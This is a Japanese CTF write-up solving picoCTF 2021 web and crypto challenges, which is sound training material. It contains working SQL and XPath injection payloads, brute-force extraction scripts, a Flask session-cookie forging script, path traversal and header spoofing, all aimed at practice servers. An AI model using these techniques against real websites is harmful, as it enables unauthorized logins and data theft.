- Wireshark doo dooo do doo... - 50 points
- MacroHard WeakEdge - 60 points
- Trivial Flag Transfer Protocol - 90 points
- Wireshark twoo twooo two twoo... - 100 points
- Disk, disk, sleuth! - 110 points
- Disk, disk, sleuth! II - 130 points
- Milkslap - 200 points
- General Skills(7問)
- Binary Exploitation(6問)
- Web Exploitation(16問)
picoCTF 2021 について
picoCTF 2021が開催されました。
2021年3月17日午前1時 ~ 2021年3月31日午前4時(2週間)
2019年同様、picoCTF に参加してきました。難易度は低く、前回に比べて変わった問題が少なくなったような気がします。
今回も1人で参加しました。結果は、66/6215位で 6150点でした。前回と違い平日にあまり時間を取れなかったので、もう少し時間が欲しかったです。88問中 68問解くことができたので、その Writeup を紹介します。
picoCTF 2021 Writeup(全68問)
picoCTF 公式より
Note that I recommend not hardcoding specific challenge URLs and ports in writeups as these are randomized per player and subject to change.
URLやポート番号はランダムに変更される可能性があるそうなので、適宜読み替えてください。
Web Exploitation(16問)
Ancient History - 10 points
I must have been sleep hacking or something, I don't remember visiting all of these sites... http://mercury.picoctf.net:42332/ (try a couple different browsers if it's not working right)
http://mercury.picoctf.net:42332/index.html のページのソースをみると、window.history.pushState で履歴を追加している処理が確認できる。
index.html?
以降の文字を並べるとフラグになる。
picoCTF{th4ts_k1nd4_n34t_a1ac6cbe}
GET aHEAD - 20 points
Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:21939/
http://mercury.picoctf.net:21939/index.php にアクセスすると、Red か Blue を選択する画面が表示される。
http://mercury.picoctf.net:21939/index.php のページのソースを確認すると、 GETメソッドでのアクセスで赤い背景、POSTメソッドでのアクセスで青い背景に変化するということが分かる。
<form action="index.php" method="GET"> <input type="submit" value="Choose Red"/> </form>
<form action="index.php" method="POST"> <input type="submit" value="Choose Blue"/> </form>
問題タイトルが GET aHEAD なので、HEADメソッドでアクセスしてみると、フラグが表示された。
$ curl --head http://mercury.picoctf.net:21939/index.php HTTP/1.1 200 OK flag: picoCTF{r3j3ct_th3_du4l1ty_6ef27873} Content-type: text/html; charset=UTF-8
picoCTF{r3j3ct_th3_du4l1ty_6ef27873}
Cookies - 40 points
Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:17781/
http://mercury.picoctf.net:17781/ にアクセスして、
snickerdoodle
と入力すると、I love snickerdoodle cookies!
と表示される。
このときの Cookie を EditThisCookie で確認すると、name=0 になっていた。
name=1 に変えてみると、別のメッセージが表示された。
Cookie の name の値を増やしていくスクリプトを書いて実行すると、
name=18 のときにフラグが表示された。
#!/bin/bash for i in `seq 0 20`; do echo -n $i curl --cookie "name=$i" --data "name=snickerdoodle" --silent -L http://mercury.picoctf.net:17781/search | grep "<b>" done
$ ./solve.sh 0 <p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p> 1 <p style="text-align:center; font-size:30px;"><b>I love chocolate chip cookies!</b></p> 2 <p style="text-align:center; font-size:30px;"><b>I love oatmeal raisin cookies!</b></p> 3 <p style="text-align:center; font-size:30px;"><b>I love gingersnap cookies!</b></p> 4 <p style="text-align:center; font-size:30px;"><b>I love shortbread cookies!</b></p> 5 <p style="text-align:center; font-size:30px;"><b>I love peanut butter cookies!</b></p> 6 <p style="text-align:center; font-size:30px;"><b>I love whoopie pie cookies!</b></p> 7 <p style="text-align:center; font-size:30px;"><b>I love sugar cookies!</b></p> 8 <p style="text-align:center; font-size:30px;"><b>I love molasses cookies!</b></p> 9 <p style="text-align:center; font-size:30px;"><b>I love kiss cookies!</b></p> 10 <p style="text-align:center; font-size:30px;"><b>I love biscotti cookies!</b></p> 11 <p style="text-align:center; font-size:30px;"><b>I love butter cookies!</b></p> 12 <p style="text-align:center; font-size:30px;"><b>I love spritz cookies!</b></p> 13 <p style="text-align:center; font-size:30px;"><b>I love snowball cookies!</b></p> 14 <p style="text-align:center; font-size:30px;"><b>I love drop cookies!</b></p> 15 <p style="text-align:center; font-size:30px;"><b>I love thumbprint cookies!</b></p> 16 <p style="text-align:center; font-size:30px;"><b>I love pinwheel cookies!</b></p> 17 <p style="text-align:center; font-size:30px;"><b>I love wafer cookies!</b></p> 18 <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}</code></p> 19 <p style="text-align:center; font-size:30px;"><b>I love macaroon cookies!</b></p> 20 <p style="text-align:center; font-size:30px;"><b>I love fortune cookies!</b></p>
picoCTF{3v3ry1_l0v3s_c00k135_bb3b3535}
Scavenger Hunt - 50 points
There is some interesting information hidden around this site http://mercury.picoctf.net:44070/. Can you find it?
分割されたフラグが、さまざまなページにコメントとして書かれている。
<!-- Here's the first part of the flag: picoCTF{t -->
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
# Part 3: t_0f_pl4c
# Part 4: 3s_2_lO0k
Congrats! You completed the scavenger hunt. Part 5: _7a46d25d}
picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_7a46d25d}
Who are you? - 60 points
Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:1270/
http://mercury.picoctf.net:1270/ にアクセスすると、条件が順に表示される。
- Only people who use the official PicoBrowser are allowed on this site!
- I don't trust users visiting from another site.
- Sorry, this site only worked in 2018.
- I don't trust users who can be tracked.
- This website is only for people from Sweden.
- You're in Sweden but you don't speak Swedish?
- What can I say except, you are welcome
適切なヘッダとプロキシを設定して HTTP リクエストを送信すると、フラグを含むレスポンスが返ってきた。 (プロキシは、適当に検索して出てきたスウェーデンのサーバを指定した)
curl -i -X GET \ -H "User-Agent:PicoBrowser" \ -H "Referer:http://mercury.picoctf.net:1270/" \ -H "Date:Mon, 01 Jan 2018 00:00:00 GMT" \ -H "DNT:1" \ -x http://185.186.78.10:3128 \ -H "Accept-Language:sv" \ 'http://mercury.picoctf.net:1270/'
picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_f56f58a5}
Some Assembly Required 1 - 70 points
Chrome DevTools の Network を見ていると、G82XCw5CX3.js から JIFxzHyW8W というファイルがダウンロードされていることが分かる。
http://mercury.picoctf.net:55336/JIFxzHyW8W をダウンロードして、
strings で文字列を確認すると、フラグが見つかった。
$ wget http://mercury.picoctf.net:55336/JIFxzHyW8W $ strings JIFxzHyW8W memory __wasm_call_ctors strcmp check_flag input copy_char __dso_handle __data_end __global_base __heap_base __memory_base __table_base j! F!!A !" ! "q!# # !% $ %q!& !( ' (q!) & )k!* !+ + q! +picoCTF{51e513c498950a515b1aab5e941b2615}
picoCTF{51e513c498950a515b1aab5e941b2615}
It is my Birthday - 100 points
I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:11590/
以下のリポジトリから、poeMD5_A.pdf と poeMD5_B.pdf をダウンロードして、http://mercury.picoctf.net:11590/ にアップロードすると、フラグが表示された。
picoCTF{c0ngr4ts_u_r_1nv1t3d_3d3e4c57}
Some Assembly Required 2 - 110 points
Some Assembly Required 1 と同様の手順で、
aD8SvhyVkb というファイルをダウンロードする。
$ wget http://mercury.picoctf.net:61778/aD8SvhyVkb
strings をすると、今度は以下のように出力された。
$ strings aD8SvhyVkb memory __wasm_call_ctors strcmp check_flag input copy_char __dso_handle __data_end __global_base __heap_base __memory_base __table_base j! F!!A !" ! "q!# # !% $ %q!& !( ' (q!) & )k!* !+ + q! +xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu
xakgK\Ns((j:l9<mimk?:k;9;8=8?=0?>jnn:j=lu
を
CyberChef
の XOR Brute Force してみると、フラグを取得することができた。
picoCTF{ b2d14eaec72c31305075876bff2b5d}
Super Serial - 130 points
Try to recover the flag stored on this website http://mercury.picoctf.net:5428/
Hints を見てみると、「The flag is at ../flag」と書かれていた。
http://mercury.picoctf.net:5428/../flag ではアクセスできなかった。
..
を %2e%2e
に書き換えてみると、../flag
にアクセスすることができた。
$ curl mercury.picoctf.net:5428/%2e%2e/flag picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}
picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_c5123066}
Most Cookies - 150 points
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/
server.py を見てみると、Flask でセッション管理されていることが分かる。
secret_key が分かれば、任意のセッションを生成することができる。 secret_key は、cookie_names から1つランダムにピックアップしたものを使用している。
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names)
very_auth を admin に設定することができれば、フラグが表示される。
@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp
まず、http://mercury.picoctf.net:65344/display にアクセスして Cookie を取得する。
取得した Cookie の session を以下のスクリプトに記載し、実行すると {'very_auth': 'admin'}
用の session を生成することができる。
#!/usr/bin/env python3 from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # NOTE: Override method def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) def main(): cookie = 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.YFhrmA.wnld-Xp-OJ432MAXrpuV7DUIvog' # set session cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] for secret_key in cookie_names: try: print(FlaskSessionCookieManager.decode(secret_key, cookie)) session = {'very_auth': 'admin'} print(FlaskSessionCookieManager.encode(secret_key, session)) except Exception: pass if __name__ == '__main__': main()
$ python3 solve.py {'very_auth': 'blank'} eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YFe4og.o5psPaSKi0bXgRiPeo8MgeJRmwY
生成された session を Cookie に設定して、http://mercury.picoctf.net:65344/display にアクセスすると、フラグが表示された。
picoCTF{pwn_4ll_th3_cook1E5_25bdb6f6}
Some Assembly Required 3 - 160 points
Some Assembly Required 1 と同様の手順で、
qCCYI0ajpD というファイルをダウンロードする。
$ wget http://mercury.picoctf.net:38541/qCCYI0ajpD
file コマンドでファイルの種類を確認すると、WebAssembly であることが分かる。
$ file qCCYI0ajpD qCCYI0ajpD: WebAssembly (wasm) binary module version 0x1 (MVP)
wabt の wasm-decompile を使って処理を確認する。
$ wget https://github.com/WebAssembly/wabt/releases/download/1.0.23/wabt-1.0.23-ubuntu.tar.gz $ tar xvf wabt-1.0.23-ubuntu.tar.gz $ ./wabt-1.0.23/bin/wasm-decompile qCCYI0ajpD -o qCCYI0ajpD.dcmp
export memory memory(initial: 2, max: 0); global g_a:int = 66864; export global input:int = 1072; export global key:int = 1067; export global dso_handle:int = 1024; export global data_end:int = 1328; export global global_base:int = 1024; export global heap_base:int = 66864; export global memory_base:int = 0; export global table_base:int = 1; table T_a:funcref(min: 1, max: 1); data d_nAcdbf1a(offset: 1024) = "\9dn\93\c8\b2\b9A\8b\90\c2\ddc\93\93\92\8fd\92\9f\94\d5b\91\c5\c0\8ef\c4" "\97\c0\8f1\c1\90\c4\8ba\c2\94\c9\90\00\00"; data d_b(offset: 1067) = "\f1\a7\f0\07\ed"; export function wasm_call_ctors() { } export function strcmp(a:int, b:int):int { var c:int = g_a; var d:int = 32; var e:int = c - d; e[6]:int = a; e[5]:int = b; var f:int = e[6]:int; e[4]:int = f; var g:int = e[5]:int; e[3]:int = g; loop L_b { var h:ubyte_ptr = e[4]:int; var i:int = 1; var j:int = h + i; e[4]:int = j; var k:int = h[0]; e[11]:byte = k; var l:ubyte_ptr = e[3]:int; var m:int = 1; var n:int = l + m; e[3]:int = n; var o:int = l[0]; e[10]:byte = o; var p:int = e[11]:ubyte; var q:int = 255; var r:int = p & q; if (r) goto B_c; var s:int = e[11]:ubyte; var t:int = 255; var u:int = s & t; var v:int = e[10]:ubyte; var w:int = 255; var x:int = v & w; var y:int = u - x; e[7]:int = y; goto B_a; label B_c: var z:int = e[11]:ubyte; var aa:int = 255; var ba:int = z & aa; var ca:int = e[10]:ubyte; var da:int = 255; var ea:int = ca & da; var fa:int = ba; var ga:int = ea; var ha:int = fa == ga; var ia:int = 1; var ja:int = ha & ia; if (ja) continue L_b; } var ka:int = e[11]:ubyte; var la:int = 255; var ma:int = ka & la; var na:int = e[10]:ubyte; var oa:int = 255; var pa:int = na & oa; var qa:int = ma - pa; e[7]:int = qa; label B_a: var ra:int = e[7]:int; return ra; } // <snip> function copy(a:int, b:int) { var c:int = g_a; var d:int = 16; var e:int_ptr = c - d; e[3] = a; e[2] = b; var f:int = e[3]; if (eqz(f)) goto B_a; var g:int = 4; var h:int = e[2]; var i:int = 5; var j:int = h % i; var k:ubyte_ptr = g - j; var l:int = k[1067]; var m:int = 24; var n:int = l << m; var o:int = n >> m; var p:int = e[3]; var q:int = p ^ o; e[3] = q; label B_a: var r:int = e[3]; var s:byte_ptr = e[2]; s[1072] = r; }
copy で入力した文字列を XOR で暗号化してメモリに展開し、strcmp で比較している。 copy を参考に復号用のスクリプトを作成した。
enc_flag = b'\x9d\x6e\x93\xc8\xb2\xb9\x41\x8b\x90\xc2\xdd\x63\x93\x93\x92\x8f\x64\x92\x9f\x94\xd5\x62\x91\xc5\xc0\x8e\x66\xc4\x97\xc0\x8f\x31\xc1\x90\xc4\x8b\x61\xc2\x94\xc9\x90\x00\x00' key = b'\xf1\xa7\xf0\x07\xed' flag = '' for i in range(len(enc_flag)): dec = enc_flag[i] ^ key[4 - i % 5] flag += chr(dec) print(flag)
$ python3 solve.py picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}ð
picoCTF{730dc4cbcb8e8eab1ca401b6175ff238}
Web Gauntlet 2 - 170 points
This website looks familiar... Log in as admin Site: http://mercury.picoctf.net:61434/ Filter: http://mercury.picoctf.net:61434/filter.php
SQLインジェクション系の問題
フィルタが設定されており、以下の文字列を入力するとエラーになる。
Filters: or and true false union like = > < ; -- /* */ admin
以下のようになるように Username と Password を入力すると、サインインできる。
SELECT username, password FROM users WHERE username='admi' || 'n' AND password='' GLOB '*'
- Username:
admi' || 'n
- Password:
' GLOB '*
サインイン後、filter.php にアクセスすると、フラグとソースコードが表示された。
<?php session_start(); if (!isset($_SESSION["winner2"])) { $_SESSION["winner2"] = 0; } $win = $_SESSION["winner2"]; $view = ($_SERVER["PHP_SELF"] == "/filter.php"); if ($win === 0) { $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin"); if ($view) { echo "Filters: ".implode(" ", $filter)."<br/>"; } } else if ($win === 1) { if ($view) { highlight_file("filter.php"); } $_SESSION["winner2"] = 0; // <- Don't refresh! } else { $_SESSION["winner2"] = 0; } // picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131} ?>
picoCTF{0n3_m0r3_t1m3_b55c7a5682db6cb0192b28772d4f4131}
Startup Company - 180 points
Do you want to fund my startup? http://mercury.picoctf.net:44720/
Register でユーザ登録すると、寄付金の入力画面が出てくる。 数値を入力して、「$Contribute$」と入力すると、「You're latest contribution: $」に入力した金額が表示された。
input タグの type="number" を削除して、'
と入力すると、「Database error.」と表示された。
また、test
と入力すると、金額表示のところに「test」という文字列が表示された。
<input type="number" id="moneys" name="moneys" class="form-control" placeholder="100" required="" autofocus="">
以上のことから、以下の3点が分かる。
- UPDATE で金額を更新した後、SELECT でその結果を表示している。
- 金額管理しているカラムは、数値ではなく文字列として管理されている。
'
でエラーになることから、おそらくSQLインジェクションができる。
以下のように入力すると、テーブル名一覧が表示された。
'||(SELECT GROUP_CONCAT(tbl_name) FROM sqlite_master)||'
取得したテーブル名を使って、テーブルの構成を表示させる。
'||(SELECT sql FROM sqlite_master WHERE tbl_name='startup_users')||'
取得した構成情報を基に、パスワード一覧を表示させると、フラグが表示された。
'||(SELECT GROUP_CONCAT(wordpass) FROM startup_users)||'
※ Register で登録したユーザのパスワードが別の人に推測されてしまった場合、問題を解いていない人がログインしただけでフラグが表示されてしまうので、最後に適当な数値を入力して、元に戻しておいたほうがよい。
picoCTF{1_c4nn0t_s33_y0u_107b7785}
Some Assembly Required 4 - 200 points
Some Assembly Required 1 と同様の手順で、 ZoRd23o0wd というファイルをダウンロードする。
$ wget http://mercury.picoctf.net:6755/ZoRd23o0wd
Some Assembly Required 3 と同様の手順でデコンパイルしてみたが、読みづらかったので、今度は別の方法で解析を進めた。
wabt の wasm2c で C言語のソースコードに変換して、コンパイルする。
$ ./wabt-1.0.23/bin/wasm2c ZoRd23o0wd -o ZoRd23o0wd.c $ cp ./wabt-1.0.23/include/wasm-rt.h . $ gcc -c ZoRd23o0wd.c -o ZoRd23o0wd.o
生成された ZoRd23o0wd.o を Ghidra に読み込ませて処理を確認する。
以下のような処理になっていた。
enc_flag = [ 0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e, 0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d, 0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38, 0x40, 0x51, 0x77, 0x57, 0x51, 0x00, 0x00, ] input_data = [ ord('p'), ord('i'), ord('c'), ord('o'), ord('C'), ord('T'), ord('F'), ord('{'), 0 ] # encode data i = 0 while True: if input_data[i] == 0: break input_data[i] = input_data[i] ^ 0x14 if 0 < i: input_data[i] = input_data[i] ^ input_data[i-1] if 2 < i: input_data[i] = input_data[i] ^ input_data[i-3] input_data[i] = input_data[i] ^ i % 10 if i % 2 == 0: input_data[i] = input_data[i] ^ 9 else: input_data[i] = input_data[i] ^ 8 if i % 3 == 0: input_data[i] = input_data[i] ^ 7 else: if i % 3 == 1: input_data[i] = input_data[i] ^ 6 else: input_data[i] = input_data[i] ^ 5 i += 1 # swap input_data j = 0 while True: if i <= j: break if j % 2 == 0: if j + 1 < i: tmp = input_data[j] input_data[j] = input_data[j + 1] input_data[j + 1] = tmp j += 1 print('enc_flag: ', enc_flag) print('input_data:', input_data)
試しに picoCTF{
まで指定してみると、途中まで一致した。
$ python3 test.py enc_flag: [24, 106, 124, 97, 17, 56, 105, 55, 24, 9, 121, 14, 104, 27, 3, 63, 7, 19, 66, 38, 96, 109, 27, 93, 115, 4, 108, 71, 82, 53, 93, 23, 31, 115, 51, 56, 64, 81, 119, 87, 81, 0, 0] input_data: [24, 106, 124, 97, 17, 56, 105, 55, 0]
上記のスクリプト整理して総当たりでフラグを求めるようにする。
import string def encode(data): i = 0 while True: if data[i] == 0: break data[i] = data[i] ^ 0x14 if 0 < i: data[i] = data[i] ^ data[i-1] if 2 < i: data[i] = data[i] ^ data[i-3] data[i] = data[i] ^ i % 10 if i % 2 == 0: data[i] = data[i] ^ 9 else: data[i] = data[i] ^ 8 if i % 3 == 0: data[i] = data[i] ^ 7 else: if i % 3 == 1: data[i] = data[i] ^ 6 else: data[i] = data[i] ^ 5 i += 1 return data def swap(data): for i in range(0, len(data) - 1, 2): data[i], data[i+1] = data[i+1], data[i] return data def str2array(s): data = [0] * (len(s) + 1) for i, ch in enumerate(s): data[i] = ord(ch) return data def main(): enc_flag = [ 0x18, 0x6a, 0x7c, 0x61, 0x11, 0x38, 0x69, 0x37, 0x18, 0x09, 0x79, 0x0e, 0x68, 0x1b, 0x03, 0x3f, 0x07, 0x13, 0x42, 0x26, 0x60, 0x6d, 0x1b, 0x5d, 0x73, 0x04, 0x6c, 0x47, 0x52, 0x35, 0x5d, 0x17, 0x1f, 0x73, 0x33, 0x38, 0x40, 0x51, 0x77, 0x57, 0x51, 0x00, 0x00, ] swaped_enc_flag = swap(enc_flag) flag = 'picoCTF{' while True: for ch in string.printable + '\x00': enc_data = encode(str2array(flag + ch)) size = len(flag) + 1 if all([enc_data[i] == swaped_enc_flag[i] for i in range(size)]): flag += ch break if ch == '\x00': break print('swaped_enc_flag:', swaped_enc_flag) print('enc_data: ', enc_data) print('flag:', flag) if __name__ == '__main__': main()
$ python3 solve.py swaped_enc_flag: [106, 24, 97, 124, 56, 17, 55, 105, 9, 24, 14, 121, 27, 104, 63, 3, 19, 7, 38, 66, 109, 96, 93, 27, 4, 115, 71, 108, 53, 82, 23, 93, 115, 31, 56, 51, 81, 64, 87, 119, 0, 81, 0] enc_data: [106, 24, 97, 124, 56, 17, 55, 105, 9, 24, 14, 121, 27, 104, 63, 3, 19, 7, 38, 66, 109, 96, 93, 27, 4, 115, 71, 108, 53, 82, 23, 93, 115, 31, 56, 51, 81, 64, 87, 119, 0, 0, 0] flag: picoCTF{a4dfbd29e50d01f1a513903dfceda44c,
swap している関係で少しフラグがずれているが、最後の文字列は }
になるはずなので、そこだけ書き換えてフラグを入力すると、「Correct!」と表示された。
picoCTF{a4dfbd29e50d01f1a513903dfceda44c}
X marks the spot - 250 points
Another login you have to bypass. Maybe you can find an injection that works? http://mercury.picoctf.net:53735/
Hints を見ると、「XPATH」と書かれているので、以下の2つのサイトを参考に XPATH Injection を行ってみる。
name と pass 両方に ' or '1'='1
と入力すると、「You're on the right path.」と表示された。
また、name に以下を入力しても「You're on the right path.」と表示された。 ただし、4を別の値に書き換えると「Login failure.」と表示された。
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
「Login failure.」とならないパターンを列挙すると以下のようになった。
import requests import itertools for i, j in itertools.product(range(1, 5), repeat=2): for k in range(1, 100): param = f"' or string-length(//user[position()={i}]/child::node()[position()={j}])={k} or ''='" response = requests.post('http://mercury.picoctf.net:53735/', {'name': param, 'pass': ''}) if 'Login failure.' not in response.text: print(param) break
$ python3 get_length.py ' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' ' or string-length(//user[position()=1]/child::node()[position()=2])=5 or ''=' ' or string-length(//user[position()=1]/child::node()[position()=3])=4 or ''=' ' or string-length(//user[position()=1]/child::node()[position()=4])=16 or ''=' ' or string-length(//user[position()=2]/child::node()[position()=1])=4 or ''=' ' or string-length(//user[position()=2]/child::node()[position()=2])=3 or ''=' ' or string-length(//user[position()=2]/child::node()[position()=3])=4 or ''=' ' or string-length(//user[position()=2]/child::node()[position()=4])=22 or ''=' ' or string-length(//user[position()=3]/child::node()[position()=1])=4 or ''=' ' or string-length(//user[position()=3]/child::node()[position()=2])=5 or ''=' ' or string-length(//user[position()=3]/child::node()[position()=3])=4 or ''=' ' or string-length(//user[position()=3]/child::node()[position()=4])=50 or ''='
最後の50文字が怪しいので、以下の入力を使って1文字ずつ特定していくとフラグになった。
' or substring((//user[position()=3]/child::node()[position()=4]),1,1)="a" or ''='
import requests import string i = 3 j = 4 k = 50 chars = string.ascii_letters + string.digits + r'_{}' flag = '' for offset in range(1, k+1): for ch in chars: param = f"' or substring((//user[position()={i}]/child::node()[position()={j}]),{offset},1)=\"{ch}\" or ''='" response = requests.post("http://mercury.picoctf.net:53735/", {'name': param, 'pass': ''}) print(param) if "Login failure." not in response.text: flag += ch print('flag:', flag) break
$ python3 solve.py <snip> ' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="_" or ''=' ' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="{" or ''=' ' or substring((//user[position()=3]/child::node()[position()=4]),50,1)="}" or ''=' flag: picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}
picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_a8550ff2}
Web Gauntlet 3 - 300 points
Last time, I promise! Only 25 characters this time. Log in as admin Site: http://mercury.picoctf.net:63504/ Filter: http://mercury.picoctf.net:63504/filter.php
Web Gauntlet 2 と同様の入力でフラグとソースコードが表示された。
(もしかしたら、想定回答と違うのかもしれない。)
- Username:
admi' || 'n
- Password:
' GLOB '*
<?php session_start(); if (!isset($_SESSION["winner3"])) { $_SESSION["winner3"] = 0; } $win = $_SESSION["winner3"]; $view = ($_SERVER["PHP_SELF"] == "/filter.php"); if ($win === 0) { $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin"); if ($view) { echo "Filters: ".implode(" ", $filter)."<br/>"; } } else if ($win === 1) { if ($view) { highlight_file("filter.php"); } $_SESSION["winner3"] = 0; // <- Don't refresh! } else { $_SESSION["winner3"] = 0; } // picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead} ?>
picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}
Cryptography(12問)
Mod 26 - 10 points
Cryptography can be easy, do you know what ROT13 is?
cvpbPGS{arkg_gvzr_V'yy_gel_2_ebhaqf_bs_ebg13_MAZyqFQj}
CyberChef の ROT13 で変換するだけ
picoCTF{next_time_I'll_try_2_rounds_of_rot13_ZNMldSDw}
Mind your Ps and Qs - 20 points
In RSA, a small
e
value can be problematic, but what aboutN
? Can you decrypt this? values
n の値を factordb.com で検索すると、素因数分解結果が分かる。
- p: 1899107986527483535344517113948531328331
- q: 674357869540600933870145899564746495319033
def long_to_bytes(x: int) -> bytes: return x.to_bytes((x.bit_length() + 7) // 8, 'big') def egcd(a, b): if a == 0: return (b, 0, 1) else: g, x, y = egcd(b % a, a) return (g, y - (b // a) * x, x) def main(): c = 62324783949134119159408816513334912534343517300880137691662780895409992760262021 n = 1280678415822214057864524798453297819181910621573945477544758171055968245116423923 e = 65537 p = 1899107986527483535344517113948531328331 q = 674357869540600933870145899564746495319033 phi = (p - 1) * (q - 1) d = egcd(e, phi)[1] if d < 0: d += phi m = pow(c, d, n) flag = long_to_bytes(m) print(flag) if __name__ == '__main__': main()
$ python3 solve.py b'picoCTF{sma11_N_n0_g0od_05012767}'
picoCTF{sma11_N_n0_g0od_05012767}
Easy Peasy - 40 points
A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{})
nc mercury.picoctf.net 64260
otp.py
netcat でアクセスすると、暗号化されたフラグが表示される。
その後、何か文字列を入力すると、それを暗号化した結果が返ってくる。
$ nc mercury.picoctf.net 64260 ******************Welcome to our OTP implementation!****************** This is the encrypted flag! 51466d4e5f575538195551416e4f5300413f1b5008684d5504384157046e4959 What data would you like to encrypt? hello Here ya go! 582b301457 What data would you like to encrypt? hello Here ya go! 5939145c0d What data would you like to encrypt?
otp.py の処理を確認するとXORで暗号化していることが分かる。
XOR鍵は、50000 バイト分用意されている。 暗号化されるたびに消費されていき、50000 バイトまで到達すると、初めに戻るようになっている。
#!/usr/bin/python3 -u import os.path KEY_FILE = "key" KEY_LEN = 50000 FLAG_FILE = "flag" def startup(key_location): flag = open(FLAG_FILE).read() kf = open(KEY_FILE, "rb").read() start = key_location stop = key_location + len(flag) key = kf[start:stop] key_location = stop result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key)) print("This is the encrypted flag!\n{}\n".format("".join(result))) return key_location def encrypt(key_location): ui = input("What data would you like to encrypt? ").rstrip() if len(ui) == 0 or len(ui) > KEY_LEN: return -1 start = key_location stop = key_location + len(ui) kf = open(KEY_FILE, "rb").read() if stop >= KEY_LEN: stop = stop % KEY_LEN key = kf[start:] + kf[:stop] else: key = kf[start:stop] key_location = stop result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key)) print("Here ya go!\n{}\n".format("".join(result))) return key_location print("******************Welcome to our OTP implementation!******************") c = startup(0) while c >= 0: c = encrypt(c)
フラグ文字列の長さは 32 バイトなので、まず 50000 - 32 バイトの文字列を入力して、鍵を消費させる。
その後 32バイトの \x00
を暗号化させると、初めに使用された鍵を特定することができる。
$ python3 -c "print('A'*(50000-32)+'\n'+'\x00'*32)" | nc mercury.picoctf.net 64260 <snip> What data would you like to encrypt? Here ya go! 62275c786663615c783165725c786237225c7863315c7831375c7861305c7838 What data would you like to encrypt?
鍵の特定ができたので、後は CyberChef で XOR すればフラグを復号することができる。
picoCTF{3a16944dad432717ccc3945d3d96421a}
New Caesar - 60 points
We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{})
mlnklfnknljflfmhjimkmhjhmljhjomhmmjkjpmmjmjkjpjojgjmjpjojojnjojmmkmlmijimhjmmj
new_caesar.py
new_caesar.py を読むと、フラグ文字列を b16_encode でエンコードし、shift で文字列をずらすという処理になっていた。 また、key の長さは、1文字固定になっていた。
